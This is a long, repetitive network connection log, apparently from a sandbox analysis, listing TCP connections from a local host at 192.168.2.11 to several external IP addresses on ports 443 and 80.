Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49742 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49746 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49745 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49747 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49748 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49749 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49751 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49750 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49752 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49753 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49755 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49758 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49757 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49760 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49759 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49761 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49763 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49765 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49764 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49767 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49766 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49769 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49771 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49772 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49773 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49774 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49775 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49770 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49778 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49779 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49780 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49781 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49782 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49783 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49785 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49786 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49787 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49788 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49789 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49790 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49792 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49794 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49795 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49796 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49797 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49799 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49801 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49802 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49803 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49800 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49804 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49805 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49806 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49807 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49808 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49809 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49810 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49811 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49812 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49813 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49815 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49816 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49817 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49818 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49819 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49820 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49821 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49822 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49823 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49824 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49825 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49826 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49827 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49828 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49829 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49830 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49832 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49831 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49833 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49834 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49835 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49836 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49837 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49838 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49839 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49840 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49841 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49842 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49843 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49844 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49846 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49847 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49848 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49849 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49850 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49851 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49853 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49854 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49855 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49856 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49857 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49858 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49859 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49860 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49861 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49862 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49863 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49864 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49865 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49866 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49867 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49868 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49869 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49870 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49871 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49873 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49874 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49875 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49876 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49877 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49878 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49879 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49880 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49881 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49882 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49883 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49884 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49885 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49886 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49887 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49888 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49889 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49890 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49891 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49892 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49893 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49894 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49896 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49897 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49895 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49898 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49899 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49900 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49901 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49902 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49903 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49904 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49905 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49906 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49909 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49907 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49908 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49910 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49911 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49912 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49913 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49914 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49916 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49919 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49918 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49921 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49920 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49923 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49928 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49925 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49926 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49927 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49929 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49931 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49932 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49933 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49934 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49936 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49937 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49940 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49938 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49939 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49941 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49944 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49942 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49943 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49945 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49946 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49950 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49947 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49949 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49948 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49951 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49952 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49954 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49955 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49953 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49957 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49960 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49961 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49962 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49963 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49964 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49966 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49968 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49967 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49969 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49970 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49972 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49973 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49974 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49975 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49976 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49977 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49978 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49979 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49980 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49981 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49982 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49983 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49984 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49985 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49986 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49987 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49988 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49989 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49990 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49991 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49993 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49994 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49995 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49996 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49997 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49998 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49999 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50001 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50000 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50002 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50003 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50004 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50005 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50006 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50007 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50008 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50009 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50010 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50011 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50012 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50013 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50014 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50015 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:50016 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49744 -> 23.111.175.138:80
Source: global traffic	TCP traffic: 192.168.2.11:49756 -> 23.111.175.138:80
Source: global traffic	TCP traffic: 192.168.2.11:49793 -> 181.214.58.112:80
Source: global traffic	TCP traffic: 192.168.2.11:49814 -> 181.214.58.112:80
Source: global traffic	TCP traffic: 192.168.2.11:49852 -> 181.214.58.112:80
Source: global traffic	TCP traffic: 192.168.2.11:49872 -> 181.214.58.112:80
Source: global traffic	TCP traffic: 192.168.2.11:49744 -> 23.111.175.138:80
Source: global traffic	TCP traffic: 192.168.2.11:49922 -> 1.1.1.1:80
Source: global traffic	TCP traffic: 192.168.2.11:49922 -> 1.1.1.1:80
Source: global traffic	TCP traffic: 192.168.2.11:49930 -> 23.111.175.138:80
Source: global traffic	TCP traffic: 192.168.2.11:49922 -> 1.1.1.1:80
Source: global traffic	TCP traffic: 192.168.2.11:49935 -> 181.214.58.112:80
Source: global traffic	TCP traffic: 192.168.2.11:49959 -> 1.1.1.1:80
Source: global traffic	TCP traffic: 192.168.2.11:49959 -> 1.1.1.1:80
Source: global traffic	TCP traffic: 192.168.2.11:49959 -> 1.1.1.1:80
Source: global traffic	TCP traffic: 192.168.2.11:49971 -> 181.214.58.112:80
Source: global traffic	TCP traffic: 192.168.2.11:49992 -> 181.214.58.112:80
Source: global traffic	TCP traffic: 192.168.2.11:50017 -> 181.214.58.112:80
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
